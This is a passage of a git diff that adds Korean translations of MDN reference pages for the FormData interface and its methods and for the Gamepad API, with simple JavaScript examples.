+<pre class="brush: js">var formData = new FormData(); // Currently empty</pre>
+
+<p>{{domxref("FormData.append")}}을 사용하여 key/value 쌍을 추가할 수 있습니다:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+</pre>
+
+<p>또는 <code>FormData</code> 객체를 만들 때 선택적으로 <code><em>form</em></code> argument를 지정할 수 있는데, 지정된 양식대로 value를 미리 채우는 것입니다:</p>
+
+<pre class="brush: html">&lt;form id="myForm" name="myForm"&gt;
+  &lt;div&gt;
+    &lt;label for="username"&gt;Enter name:&lt;/label&gt;
+    &lt;input type="text" id="username" name="username"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="useracc"&gt;Enter account number:&lt;/label&gt;
+    &lt;input type="text" id="useracc" name="useracc"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="userfile"&gt;Upload file:&lt;/label&gt;
+    &lt;input type="file" id="userfile" name="userfile"&gt;
+  &lt;/div&gt;
+&lt;input type="submit" value="Submit!"&gt;
+&lt;/form&gt;
+</pre>
+
+<div class="note">
+<p><strong>메모</strong>: 모든 입력 요소는 'name' 속성(attribute) 을 갖고 있습니다. 나중에 value에 접근하는데 필요합니다.</p>
+</div>
+
+<pre class="brush: js">var myForm = document.getElementById('myForm');
+formData = new FormData(myForm);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','FormData()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.FormData")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/get/index.html b/files/ko/web/api/formdata/get/index.html
new file mode 100644
index 0000000000..b90a006387
--- /dev/null
+++ b/files/ko/web/api/formdata/get/index.html
@@ -0,0 +1,74 @@
+---
+title: FormData.get()
+slug: Web/API/FormData/get
+translation_of: Web/API/FormData/get
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>get()</strong></code> 메서드는 <code>FormData</code> 객체에서 지정한 키와 연관된 첫 번째 값을 반환합니다. 값이 여러개이고, 모든 값을 원하면 이 메서드 대신 {{domxref("FormData.getAll()","getAll()")}} 메서드를 사용하십시오.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">formData.get(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>검색하고 싶은 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>값을 포함하는 {{domxref("FormDataEntryValue")}} 입니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>{{domxref("FormData.append")}}를 사용하여 <code>username</code> 에 두 개의 값을 추가합니다:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('username', 'Bob');</pre>
+
+<p><code>get()</code> 함수를 사용하면 <code>username</code> 의 첫 번째 value만 반환합니다:</p>
+
+<pre class="brush: js">formData.get('username'); // Returns "Chris"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-get','get()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.get")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/getall/index.html b/files/ko/web/api/formdata/getall/index.html
new file mode 100644
index 0000000000..6de19365e5
--- /dev/null
+++ b/files/ko/web/api/formdata/getall/index.html
@@ -0,0 +1,74 @@
+---
+title: FormData.getAll()
+slug: Web/API/FormData/getAll
+translation_of: Web/API/FormData/getAll
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>getAll()</strong></code> 메서드는 <code>FormData</code> 객체에서 지정된 키와 연관된 모든 값을 반환합니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">formData.getAll(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>검색하고 싶은 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>{{domxref("FormDataEntryValue")}}의 배열입니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>{{domxref("FormData.append")}}를 사용하여 <code>username</code> 에 두 개의 값을 추가합니다:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('username', 'Bob');</pre>
+
+<p><code>getAll()</code> 함수는 <code>username</code> 의 값들을 배열로 반환합니다:</p>
+
+<pre class="brush: js">formData.getAll('username'); // Returns ["Chris", "Bob"]</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-getall','getAll()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.getAll")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/has/index.html b/files/ko/web/api/formdata/has/index.html
new file mode 100644
index 0000000000..8340fee6af
--- /dev/null
+++ b/files/ko/web/api/formdata/has/index.html
@@ -0,0 +1,73 @@
+---
+title: FormData.has()
+slug: Web/API/FormData/has
+translation_of: Web/API/FormData/has
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>has()</strong></code> 메서드는 <code>FormData</code> 객체에 특정 키가 들어 있는지 여부를 나타내는 boolean 을 반환합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">formData.has(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>테스트 하려는 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>{{domxref("Boolean")}}.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>다음 스니펫(코드 조각)은 <code>FormData</code> 객체안에 <code>username</code> 이 존재하는지 테스트한 결과와, {{domxref("FormData.append")}}를 사용하여 <code>username</code> 에 값을 추가한 이후의 결과를 보여줍니다 :</p>
+
+<pre class="brush: js">formData.has('username'); // Returns false
+formData.append('username', 'Chris');
+formData.has('username'); // Returns true
+
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-has','has()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.has")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/index.html b/files/ko/web/api/formdata/index.html
new file mode 100644
index 0000000000..212d19e6c2
--- /dev/null
+++ b/files/ko/web/api/formdata/index.html
@@ -0,0 +1,82 @@
+---
+title: FormData
+slug: Web/API/FormData
+tags:
+  - API
+  - 인터페이스
+  - 폼 데이터
+translation_of: Web/API/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData</strong></code><strong> </strong>인터페이스는 form 필드와 그 값을 나타내는 일련의 key/value 쌍을 쉽게 생성할 수 있는 방법을 제공합니다. 또한 {{domxref("XMLHttpRequest.send()")}} 메서드를 사용하여 쉽게 전송할 수 있습니다. 인코딩 타입이 <code>"multipart/form-data"</code>로 설정된 경우, form에서 사용하는 것과 동일한 포맷을 사용해야 합니다.</p>
+
+<p>간단한 <code>GET</code> 전송을 사용하는 경우에는 {{HTMLElement("form")}} 이 수행하는 방식으로 쿼리 매개 변수를 생성할 수 있습니다. 이 경우 {{domxref("URLSearchParams")}} 생성자에 직접 전달할 수 있습니다.</p>
+
+<p><code>FormData</code> 를 구현하는 객체는 {{domxref('FormData.entries()', 'entries()')}} 대신 {{jsxref("Statements/for...of", "for...of")}} 구조를 직접 사용할 수 있습니다. <code>for (var p of myFormData)</code> 는 <code>for (var p of myFormData.entries())</code> 와 같습니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 이 기능은 <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("FormData.FormData","FormData()")}}</dt>
+ <dd>새로운 <code>FormData</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("FormData.append()")}}</dt>
+ <dd>FormData 객체안에 이미 키가 존재하면 그 키에 새로운 값을 추가하고, 키가 없으면 추가합니다.</dd>
+ <dt>{{domxref("FormData.delete()")}}</dt>
+ <dd>FormData 객체로부터 키/밸류 쌍을 삭제합니다.</dd>
+ <dt>{{domxref("FormData.entries()")}}</dt>
+ <dd>이 객체에 담긴 모든 키/밸류 쌍을 순회할 수 있는 {{jsxref("Iteration_protocols","iterator")}}를 반환합니다.</dd>
+ <dt>{{domxref("FormData.get()")}}</dt>
+ <dd><code>FormData</code> 객체 내의 값들 중 주어진 키와 연관된 첫번째 값을 반환합니다.</dd>
+ <dt>{{domxref("FormData.getAll()")}}</dt>
+ <dd><code>FormData</code> 객체 내의 값들 중 주어진 키와 연관된 모든 값이 담긴 배열을 반환합니다.</dd>
+ <dt>{{domxref("FormData.has()")}}</dt>
+ <dd><code>FormData</code> 객체에 특정 키가 포함되어 있는지 여부를 나타내는 boolean 을 반환합니다.</dd>
+ <dt>{{domxref("FormData.keys()")}}</dt>
+ <dd>이 객체에 담긴 모든 키/벨류 쌍들의 모든 키들을 순회 할 수 있는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.</dd>
+ <dt>{{domxref("FormData.set()")}}</dt>
+ <dd><code>FormData</code> 객체 내에 있는 기존 키에 새 값을 설정하거나, 존재하지 않을 경우 키/밸류 쌍을 추가합니다.</dd>
+ <dt>{{domxref("FormData.values()")}}</dt>
+ <dd>이 객체에 포함된 모든 밸류를 통과하는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>FormData defined in XHR spec</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.FormData")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/ko/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/ko/docs/Web/API/FormData/Using_FormData_Objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/keys/index.html b/files/ko/web/api/formdata/keys/index.html
new file mode 100644
index 0000000000..f2f1111e4d
--- /dev/null
+++ b/files/ko/web/api/formdata/keys/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.keys()
+slug: Web/API/FormData/keys
+translation_of: Web/API/FormData/keys
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData.keys()</strong></code> 메서드는 이 객체에 포함된 모든 키를 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 키는 {{domxref("USVString")}} 객체입니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/en-US/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">formData.keys();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[7]">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the keys
+for (var key of formData.keys()) {
+   console.log(key);
+}
+</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<pre>key1
+key2</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','keys() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.keys")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/set/index.html b/files/ko/web/api/formdata/set/index.html
new file mode 100644
index 0000000000..1f95283af5
--- /dev/null
+++ b/files/ko/web/api/formdata/set/index.html
@@ -0,0 +1,79 @@
+---
+title: FormData.set()
+slug: Web/API/FormData/set
+translation_of: Web/API/FormData/set
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>set()</strong></code> 메서드는 <code>FormData</code> 객체 내에 있는 기존 키에 새 값을 설정하거나, 존재하지 않을 경우 key/value을 추가합니다.</p>
+
+<p><code>set()</code> 과 {{domxref("FormData.append")}} 의 차이점은 지정된 키가 이미 존재할 경우에, <code>set()</code> 은 모든 기존 값들을 새로운 값으로 덮어쓰기하는 반면, {{domxref("FormData.append")}} 는 기존 값의 끝에 새 값을 추가합니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/en-US/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>이 메서드에는 두 가지 버전이 있습니다: 매개변수가 두 개인 버전과 세 개인 버전입니다:</p>
+
+<pre class="brush: js">formData.set(name, value);
+formData.set(name, value, filename);</pre>
+
+<h4 id="append()_Parameters" name="append()_Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd><code>value</code> 에 포함되는 데이터 필드의 이름입니다.</dd>
+ <dt><code>value</code></dt>
+ <dd>필드의 값입니다. 파라미터가 두 개인 버전에서는 {{domxref("USVString")}}이고, 그렇지 않은 경우 문자열로 변환됩니다. 파라미터가 세 개인 버전에서는 {{domxref("Blob")}}, {{domxref("File")}}, {{domxref("USVString")}}이 될 수 있습니다. 이들 중 어느것도 지정되지 않으면 값은 문자열로 변환됩니다.</dd>
+ <dt><code>filename </code>{{optional_inline}}</dt>
+ <dd>{{domxref("Blob")}} 또는 {{domxref("File")}} 이 두 번째 매개 변수로 전달될 때, 서버에 리포트하는 파일 이름(a {{domxref("USVString")}})입니다. {{domxref("Blob")}} 객체의 기본 파일 이름은 "blob"입니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>메모:</strong> {{domxref("Blob")}} 을 <code>FormData</code> 객체에 추가할 데이터로 지정하면,  "Content-Disposition" 헤더에서 서버에 리포트하는 파일 이름이 브라우저마다 다를 수 있습니다.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Currently empty</pre>
+
+<p>{{domxref("FormData.set")}}를 사용하여 key/value 쌍을 추가할 수 있습니다::</p>
+
+<pre class="brush: js">formData.set('username', 'Chris');
+formData.set('userpic', myFileInput.files[0], 'chris.jpg');</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-set','set()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.set")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/values/index.html b/files/ko/web/api/formdata/values/index.html
new file mode 100644
index 0000000000..9a28786ad6
--- /dev/null
+++ b/files/ko/web/api/formdata/values/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.values()
+slug: Web/API/FormData/values
+translation_of: Web/API/FormData/values
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData.values()</strong></code> 메서드는 이 객체에 포함 된 모든 value를 통과하는 {{jsxref("Iteration_protocols",'iterator')}}를 반환합니다. value는 {{domxref("USVString")}} 또는 {{domxref("Blob")}} 객체입니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">formData.values();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[7]">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the values
+for (var value of formData.values()) {
+   console.log(value);
+}
+</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<pre>value1
+value2</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','values() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.values")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/gamepad_api/index.html b/files/ko/web/api/gamepad_api/index.html
new file mode 100644
index 0000000000..7a4fc0d2e7
--- /dev/null
+++ b/files/ko/web/api/gamepad_api/index.html
@@ -0,0 +1,94 @@
+---
+title: Gamepad API
+slug: Web/API/Gamepad_API
+tags:
+  - API
+  - Experimental
+  - Gamepad API
+  - Games
+  - Overview
+translation_of: Web/API/Gamepad_API
+---
+<div>{{DefaultAPISidebar("Gamepad API")}}</div>
+
+<p><strong>게임패드 API</strong>는 게임패드와 다른 게임 제어장치의 신호에 쉬운 일관된 방식으로 접근하고 응답하는 개발자들을 위한 수단이다. 게임패드 API는 세 가지 인터페이스와연결, 연결 해제되고 게임 패드 자체에 대한 다른 정보에 접근하고 어떤 버튼과 다른 조작 장치들이 현재 눌린 것에 응답하는 두 가지 이벤트 그리고 한 가지 특수 기능이 포함되어 있다. </p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("Gamepad")}}</dt>
+ <dd>컴퓨터에 연결된 게임패드나 조작장치를 표현한다.</dd>
+ <dt>{{domxref("GamepadButton")}}</dt>
+ <dd>연결된 조작장치들 중 하나에 있는 버튼을 표현한다.</dd>
+ <dt>{{domxref("GamepadEvent")}}</dt>
+ <dd>게임 패드와 연관된 이벤트를 나타내는 이벤트 객체이다.</dd>
+</dl>
+
+<h3 id="게임패드_확장기능_실험">게임패드 확장기능 실험</h3>
+
+<dl>
+ <dt>{{domxref("GamepadHapticActuator")}}</dt>
+ <dd>Represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware.</dd>
+ <dt>{{domxref("GamepadPose")}}</dt>
+ <dd>Represents the pose of a controller (e.g. position and orientation in 3D space) in the case of a <a href="/en-US/docs/Web/API/WebVR_API">WebVR</a> controller.</dd>
+</dl>
+
+<p>다음 정보를엑세스할 수 있는 <a href="/en-US/docs/Web/API/Gamepad#Experimental_extensions_to_Gamepad">게임패드 인터페이스 확장기능</a> 더보기</p>
+
+<h3 id="다른_인터페이스로_확장">다른 인터페이스로 확장</h3>
+
+<h4 id="Navigator">Navigator</h4>
+
+<dl>
+ <dt>{{domxref("Navigator.getGamepads()")}}</dt>
+ <dd>An extension to the {{domxref("Navigator")}} object that returns an array of {{domxref("Gamepad")}} objects, one for each connected gamepad.</dd>
+</dl>
+
+<h4 id="Window_events">Window events</h4>
+
+<dl>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).</dd>
+</dl>
+
+<h2 id="튜토리얼과_가이드">튜토리얼과 가이드</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad_API/Using_the_Gamepad_API">Using the Gamepad API</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/Controls_Gamepad_API">Implementing controls using the Gamepad API</a></li>
+</ul>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>Defines the {{anch("Experimental Gamepad extensions")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "", "The Gamepad API specification")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Gamepad")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li><a class="external text" href="https://hacks.mozilla.org/2013/12/the-gamepad-api/" rel="nofollow">The Gamepad API</a> by Ted Mielczarek and Robert Nyman</li>
+ <li><a href="http://luser.github.io/gamepadtest/">Simple API demo page</a> (<a href="https://github.com/luser/gamepadtest">source</a>)</li>
+</ul>
diff --git a/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html
new file mode 100644
index 0000000000..10f1a4d818
--- /dev/null
+++ b/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html
@@ -0,0 +1,342 @@
+---
+title: Using the Gamepad API
+slug: Web/API/Gamepad_API/Using_the_Gamepad_API
+translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API
+---
+<p><span class="seoSummary">HTML5 introduced many of the necessary components for rich, interactive game development. Technologies like <code>&lt;canvas&gt;</code>, WebGL, <code>&lt;audio&gt;</code>, and <code>&lt;video&gt;</code>, along with JavaScript implementations, have matured to the point where they can now support many tasks previously requiring native code. The Gamepad API is a way for developers and designers to access and use gamepads and other game controllers.</span></p>
+
+<p>The <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> introduces new events on the {{ domxref("Window") }} object for reading gamepad and controller (hereby referred to as <em>gamepad</em>) state. In addition to these events, the API also adds a {{ domxref("Gamepad") }} object, which you can use to query the state of a connected gamepad, and a {{ domxref("navigator.getGamepads()") }} method which you can use to get a list of gamepads known to the page.</p>
+
+<h2 id="conntecting" name="conntecting">게임패드로 연결</h2>
+
+<p>새로운 게임패드가 컴퓨터에 연결될 때, 포커스된 페이지는 {{ event("gamepadconnected") }} 이벤트를 받습니다. 페이지가 로드되었을 때 게임패드가 이미 연결되어 있다면, {{ event("gamepadconnected") }} 이벤트가 유저의 버튼 입력 혹은 마우스 움직일 때 포커스된 페이지에 디스패치됩니다.</p>
+
+<div class="blockIndicator geckoVersionNote">
